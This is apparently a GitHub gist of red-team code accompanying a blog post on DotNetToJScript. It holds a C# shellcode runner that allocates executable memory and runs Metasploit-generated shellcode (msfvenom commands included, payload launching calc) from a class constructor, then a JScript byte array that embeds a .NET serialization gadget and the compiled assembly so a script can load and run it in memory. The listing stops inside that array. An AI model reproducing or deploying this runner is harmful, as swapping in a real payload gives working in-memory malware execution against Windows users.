Create a gist now

Instantly share code, notes, and snippets.

@subTee /example.cs Secret
Last active Jul 27, 2017

What would you like to do?
Blog Supporting Code - DotNetToJScript Usage Reference: https://github.com/tyranid/DotNetToJScript
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
*/
//X64 Generation - msfvenom --payload windows/x64/exec CMD="calc" EXITFUNC=thread -f csharp > ShellCode.txt
//x86 Generation - msfvenom --payload windows/exec CMD="calc" EXITFUNC=thread -f csharp > ShellCode.txt
public class TestClass
{
public static void Main()
{
Console.WriteLine("Confuse Analysts");
}
public TestClass()
{
ShellCode.Exec();
}
}
public class ShellCode
{
public static void Exec()
{
byte[] shellcode;
// native function's compiled code
// generated with metasploit
// this is from shellcode.txt above
byte[] shellcodex64 = new byte[272] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00 };
byte[] shellcodex86 = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
if (IntPtr.Size == 8 )
{
shellcode = shellcodex64;
}
else
{
shellcode = shellcodex86;
}
IntPtr funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, funcAddr, shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
//After you Compile example.exe
var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,
83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,
121,7,0,0,0,4,116,121,112,101,8,97,115,115,101,109,98,108,121,6,116,97,114,103,101,116,18,116,97,114,103,101,
116,84,121,112,101,65,115,115,101,109,98,108,121,14,116,97,114,103,101,116,84,121,112,101,78,97,109,101,10,109,101,116,
104,111,100,78,97,109,101,13,100,101,108,101,103,97,116,101,69,110,116,114,121,1,1,2,1,1,1,3,48,83,121,115,
116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,
68,101,108,101,103,97,116,101,69,110,116,114,121,6,5,0,0,0,47,83,121,115,116,101,109,46,82,117,110,116,105,109,
101,46,82,101,109,111,116,105,110,103,46,77,101,115,115,97,103,105,110,103,46,72,101,97,100,101,114,72,97,110,100,108,
101,114,6,6,0,0,0,75,109,115,99,111,114,108,105,98,44,32,86,101,114,115,105,111,110,61,50,46,48,46,48,46,
48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,
101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,7,0,0,0,7,116,97,114,103,101,116,48,
9,6,0,0,0,6,9,0,0,0,15,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,6,10,0,0,0,13,
68,121,110,97,109,105,99,73,110,118,111,107,101,10,4,3,0,0,0,34,83,121,115,116,101,109,46,68,101,108,101,103,
97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,101,103,
97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,7,3,48,83,121,115,116,101,109,46,68,101,
108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,
116,101,69,110,116,114,121,2,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,
114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,11,0,0,0,9,12,0,
0,0,9,13,0,0,0,4,4,0,0,0,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,6,0,0,0,
4,78,97,109,101,12,65,115,115,101,109,98,108,121,78,97,109,101,9,67,108,97,115,115,78,97,109,101,9,83,105,103,
110,97,116,117,114,101,10,77,101,109,98,101,114,84,121,112,101,16,71,101,110,101,114,105,99,65,114,103,117,109,101,110,
116,115,1,1,1,1,0,3,8,13,83,121,115,116,101,109,46,84,121,112,101,91,93,9,10,0,0,0,9,6,0,0,
0,9,9,0,0,0,6,17,0,0,0,44,83,121,115,116,101,109,46,79,98,106,101,99,116,32,68,121,110,97,109,105,
99,73,110,118,111,107,101,40,83,121,115,116,101,109,46,79,98,106,101,99,116,91,93,41,8,0,0,0,10,1,11,0,
0,0,2,0,0,0,6,18,0,0,0,32,83,121,115,116,101,109,46,88,109,108,46,83,99,104,101,109,97,46,88,109,
108,86,97,108,117,101,71,101,116,116,101,114,6,19,0,0,0,77,83,121,115,116,101,109,46,88,109,108,44,32,86,101,
114,115,105,111,110,61,50,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,
80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,
20,0,0,0,7,116,97,114,103,101,116,48,9,6,0,0,0,6,22,0,0,0,26,83,121,115,116,101,109,46,82,101,
102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,6,23,0,0,0,4,76,111,97,100,10,15,12,0,0,
0,0,20,0,0,2,77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,
32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,
0,0,0,0,0,0,80,69,0,0,76,1,3,0,48,245,236,88,0,0,0,0,0,0,0,0,224,0,2,1,11,1,
8,0,0,12,0,0,0,6,0,0,0,0,0,0,62,42,0,0,0,32,0,0,0,64,0,0,0,0,64,0,0,32,
0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,128,0,0,0,2,0,0,0,0,
0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,
0,0,0,0,0,0,236,41,0,0,79,0,0,0,0,64,0,0,160,2,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,96,0,0,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,
0,0,8,0,0,0,0,0,0,0,0,0,0,0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0,46,116,
101,120,116,0,0,0,68,10,0,0,0,32,0,0,0,12,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,32,0,0,96,46,114,115,114,99,0,0,0,160,2,0,0,0,64,0,0,0,4,0,0,0,14,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,96,0,0,0,2,
0,0,0,18,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,66,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,32,42,0,0,0,0,0,0,72,0,0,0,2,0,5,0,8,35,0,0,228,6,0,0,1,0,
0,0,1,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,78,0,114,1,0,0,112,40,3,0,
0,10,0,40,3,0,0,6,0,42,66,2,40,4,0,0,10,0,0,40,3,0,0,6,0,0,42,0,0,0,252,72,
131,228,240,232,192,0,0,0,65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,72,
139,114,80,72,15,183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,
81,72,139,82,32,139,66,60,72,1,208,139,128,136,0,0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64,
32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72,49,192,172,65,193,201,13,65,1,193,56,224,
117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139,64,28,73,1,208,
65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,
72,139,18,233,87,255,255,255,93,72,186,1,0,0,0,0,0,0,0,72,141,141,1,1,0,0,65,186,49,139,111,135,
255,213,187,224,29,42,10,65,186,166,149,189,157,255,213,72,131,196,40,60,6,124,10,128,251,224,117,5,187,71,19,114,
111,106,0,89,65,137,218,255,213,99,97,108,99,0,252,232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,
139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,
74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193,207,
13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,106,1,141,133,178,0,0,0,80,
104,49,139,111,135,255,213,187,224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5,187,71,19,114,
111,106,0,83,255,213,99,97,108,99,46,101,120,101,0,0,0,0,19,48,6,0,146,0,0,0,1,0,0,17,0,32,
16,1,0,0,141,5,0,0,1,37,208,3,0,0,4,40,6,0,0,10,11,32,193,0,0,0,141,5,0,0,1,37,
208,4,0,0,4,40,6,0,0,10,12,40,7,0,0,10,30,254,1,22,254,1,19,7,17,7,45,6,0,7,10,0,
43,4,0,8,10,0,22,6,142,105,126,1,0,0,4,126,2,0,0,4,40,4,0,0,6,13,6,22,9,6,142,105,
40,8,0,0,10,0,126,9,0,0,10,19,4,22,19,5,126,9,0,0,10,19,6,22,22,9,17,6,22,18,5,40,
5,0,0,6,19,4,17,4,21,40,6,0,0,6,38,42,74,32,0,16,0,0,128,1,0,0,4,31,64,128,2,0,
0,4,42,30,2,40,4,0,0,10,42,0,0,0,66,83,74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,50,
46,48,46,53,48,55,50,55,0,0,0,0,5,0,108,0,0,0,144,2,0,0,35,126,0,0,252,2,0,0,28,3,
0,0,35,83,116,114,105,110,103,115,0,0,0,0,24,6,0,0,36,0,0,0,35,85,83,0,60,6,0,0,16,0,
0,0,35,71,85,73,68,0,0,0,76,6,0,0,152,0,0,0,35,66,108,111,98,0,0,0,0,0,0,0,2,0,
0,1,87,149,2,52,9,2,0,0,0,250,1,51,0,22,0,0,1,0,0,0,13,0,0,0,6,0,0,0,4,0,
0,0,8,0,0,0,12,0,0,0,10,0,0,0,3,0,0,0,2,0,0,0,1,0,0,0,1,0,0,0,3,0,
0,0,2,0,0,0,1,0,0,0,1,0,0,0,2,0,0,0,0,0,10,0,1,0,0,0,0,0,6,0,58,0,
51,0,6,0,193,0,161,0,6,0,225,0,161,0,6,0,7,1,51,0,6,0,25,1,51,0,6,0,99,1,161,0,
6,0,126,1,51,0,6,0,186,1,161,0,6,0,201,1,51,0,6,0,207,1,51,0,6,0,36,2,51,0,6,0,
83,2,52,2,6,0,101,2,52,2,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,16,0,22,0,0,0,
5,0,1,0,1,0,1,0,16,0,32,0,0,0,5,0,1,0,3,0,0,0,0,0,30,1,0,0,5,0,3,0,
9,0,19,1,0,0,136,1,0,0,29,0,5,0,9,0,19,1,0,0,242,1,0,0,29,0,5,0,9,0,17,0,
81,0,18,0,17,0,92,0,18,0,19,1,166,1,61,0,19,1,16,2,73,0,80,32,0,0,0,0,150,0,65,0,
10,0,1,0,100,32,0,0,0,0,134,24,70,0,14,0,1,0,76,34,0,0,0,0,150,0,76,0,10,0,1,0,
0,0,0,0,128,0,145,32,115,0,21,0,1,0,0,0,0,0,128,0,145,32,128,0,29,0,5,0,0,0,0,0,
128,0,145,32,141,0,40,0,11,0,253,34,0,0,0,0,134,24,70,0,14,0,13,0,234,34,0,0,0,0,145,24,
19,3,10,0,13,0,0,0,1,0,129,2,0,0,2,0,141,2,0,0,3,0,146,2,0,0,4,0,163,2,0,0,
1,0,173,2,0,0,2,0,192,2,0,0,3,0,204,2,0,0,4,0,219,2,0,0,5,0,225,2,0,0,6,0,
241,2,0,0,1,0,252,2,0,0,2,0,4,3,17,0,70,0,46,0,25,0,70,0,14,0,33,0,15,1,51,0,
9,0,70,0,14,0,49,0,70,0,14,0,65,0,226,1,65,0,89,0,43,2,77,0,97,0,91,2,81,0,89,0,
96,2,90,0,105,0,70,0,107,0,46,0,11,0,112,0,46,0,19,0,121,0,131,0,43,0,56,0,1,0,16,1,
0,0,5,0,1,0,193,0,0,0,6,0,93,0,120,2,0,1,9,0,115,0,1,0,0,1,11,0,128,0,1,0,
0,1,13,0,141,0,1,0,120,32,0,0,3,0,136,33,0,0,4,0,4,128,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,255,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,42,0,0,0,0,0,5,0,
4,0,6,0,4,0,0,0,0,0,0,60,77,111,100,117,108,101,62,0,101,120,97,109,112,108,101,46,101,120,101,0,
84,101,115,116,67,108,97,115,115,0,83,104,101,108,108,67,111,100,101,0,109,115,99,111,114,108,105,98,0,83,121,115,
116,101,109,0,79,98,106,101,99,116,0,77,97,105,110,0,46,99,116,111,114,0,69,120,101,99,0,77,69,77,95,67,
79,77,77,73,84,0,80,65,71,69,95,69,88,69,67,85,84,69,95,82,69,65,68,87,82,73,84,69,0,86,105,114,
116,117,97,108,65,108,108,111,99,0,67,114,101,97,116,101,84,104,114,101,97,100,0,87,97,105,116,70,111,114,83,105,
110,103,108,101,79,98,106,101,99,116,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,
101,114,83,101,114,118,105,99,101,115,0,67,111,109,112,105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,
115,65,116,116,114,105,98,117,116,101,0,82,117,110,116,105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,
116,116,114,105,98,117,116,101,0,101,120,97,109,112,108,101,0,67,111,110,115,111,108,101,0,87,114,105,116,101,76,105,
110,101,0,66,121,116,101,0,60,80,114,105,118,97,116,101,73,109,112,108,101,109,101,110,116,97,116,105,111,110,68,101,
116,97,105,108,115,62,123,56,52,70,49,69,51,48,49,45,68,48,51,50,45,52,49,49,49,45,57,54,57,68,45,66,
69,52,50,56,57,52,49,68,66,53,65,125,0,67,111,109,112,105,108,101,114,71,101,110,101,114,97,116,101,100,65,116,
116,114,105,98,117,116,101,0,86,97,108,117,101,84,121,112,101,0,95,95,83,116,97,116,105,99,65,114,114,97,121,73,
110,105,116,84,121,112,101,83,105,122,101,61,50,55,50,0,36,36,109,101,116,104,111,100,48,120,54,48,48,48,48,48,
51,45,49,0,82,117,110,116,105,109,101,72,101,108,112,101,114,115,0,65,114,114,97,121,0,82,117,110,116,105,109,101,
70,105,101,108,100,72,97,110,100,108,101,0,73,110,105,116,105,97,108,105,122,101,65,114,114,97,121,0,95,95,83,116,
97,116,105,99,65,114,114,97,121,73,110,105,116,84,121,112,101,83,105,122,101,61,49,57,51,0,36,36,109,101,116,104,
111,100,48,120,54,48,48,48,48,48,51,45,50,0,73,110,116,80,116,114,0,103,101,116,95,83,105,122,101,0,83,121,
115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,0,77,97,114,
115,104,97,108,0,67,111,112,121,0,90,101,114,111,0,68,108,108,73,109,112,111,114,116,65,116,116,114,105,98,117,116,
101,0,107,101,114,110,101,108,51,50,0,108,112,83,116,97,114,116,65,100,100,114,0,115,105,122,101,0,102,108,65,108,
108,111,99,97,116,105,111,110,84,121,112,101,0,102,108,80,114,111,116,101,99,116,0,108,112,84,104,114,101,97,100,65,
116,116,114,105,98,117,116,101,115,0,100,119,83,116,97,99,107,83,105,122,101,0,108,112,83,116,97,114,116,65,100,100,
114,101,115,115,0,112,97,114,97,109,0,100,119,67,114,101,97,116,105,111,110,70,108,97,103,115,0,108,112,84,104,114,
101,97,100,73,100,0,104,72,97,110,100,108,101,0,100,119,77,105,108,108,105,115,101,99,111,110,100,115,0,46,99,99,
116,111,114,0,0,0,0,33,67,0,111,0,110,0,102,0,117,0,115,0,101,0,32,0,65,0,110,0,97,0,108,0,
121,0,115,0,116,0,115,0,0,0,1,227,241,132,50,208,17,65,150,157,190,66,137,65,219,90,0,8,183,122,92,86,
25,52,224,137,3,0,0,1,3,32,0,1,2,6,9,7,0,4,24,9,9,9,9,10,0,6,24,9,9,24,24,9,
16,9,5,0,2,9,24,9,4,32,1,1,8,4,0,1,1,14,4,1,0,0,0,3,6,17,20,7,0,2,1,18,
37,17,41,3,6,17,24,3,0,0,8,8,0,4,1,29,5,8,24,8,2,6,24,13,7,8,29,5,29,5,29,5,
24,24,9,24,2,4,32,1,1,14,8,1,0,8,0,0,0,0,0,30,1,0,1,0,84,2,22,87,114,97,112,78,
111,110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,20,42,0,0,0,0,0,0,0,0,0,0,46,42,
0,0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,42,0,0,0,0,
0,0,0,0,0,0,0,0,95,67,111,114,69,120,101,77,97,105,110,0,109,115,99,111,114,101,101,46,100,108,108,0,
0,0,0,0,255,37,0,32,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,16,0,0,0,24,0,0,128,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,48,0,0,128,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,72,0,0,0,88,64,0,0,68,2,0,0,0,0,0,0,0,0,0,0,68,2,
52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0,95,0,73,0,78,0,70,0,
79,0,0,0,0,0,189,4,239,254,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,
0,0,0,0,0,0,4,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,68,0,0,0,1,0,
86,0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,
84,0,114,0,97,0,110,0,115,0,108,0,97,0,116,0,105,0,111,0,110,0,0,0,0,0,0,0,176,4,164,1,
0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,
0,0,128,1,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,44,0,2,0,1,0,
70,0,105,0,108,0,101,0,68,0,101,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,
0,0,32,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,0,114,0,115,0,105,0,111,0,
110,0,0,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,12,0,1,0,73,0,110,0,
116,0,101,0,114,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,101,0,120,0,97,0,109,0,112,0,
108,0,101,0,46,0,101,0,120,0,101,0,0,0,40,0,2,0,1,0,76,0,101,0,103,0,97,0,108,0,67,0,
111,0,112,0,121,0,114,0,105,0,103,0,104,0,116,0,0,0,32,0,0,0,64,0,12,0,1,0,79,0,114,0,
105,0,103,0,105,0,110,0,97,0,108,0,70,0,105,0,108,0,101,0,110,0,97,0,109,0,101,0,0,0,101,0,
120,0,97,0,109,0,112,0,108,0,101,0,46,0,101,0,120,0,101,0,0,0,52,0,8,0,1,0,80,0,114,0,
111,0,100,0,117,0,99,0,116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,
46,0,48,0,46,0,48,0,0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,109,0,98,0,108,0,121,0,
32,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
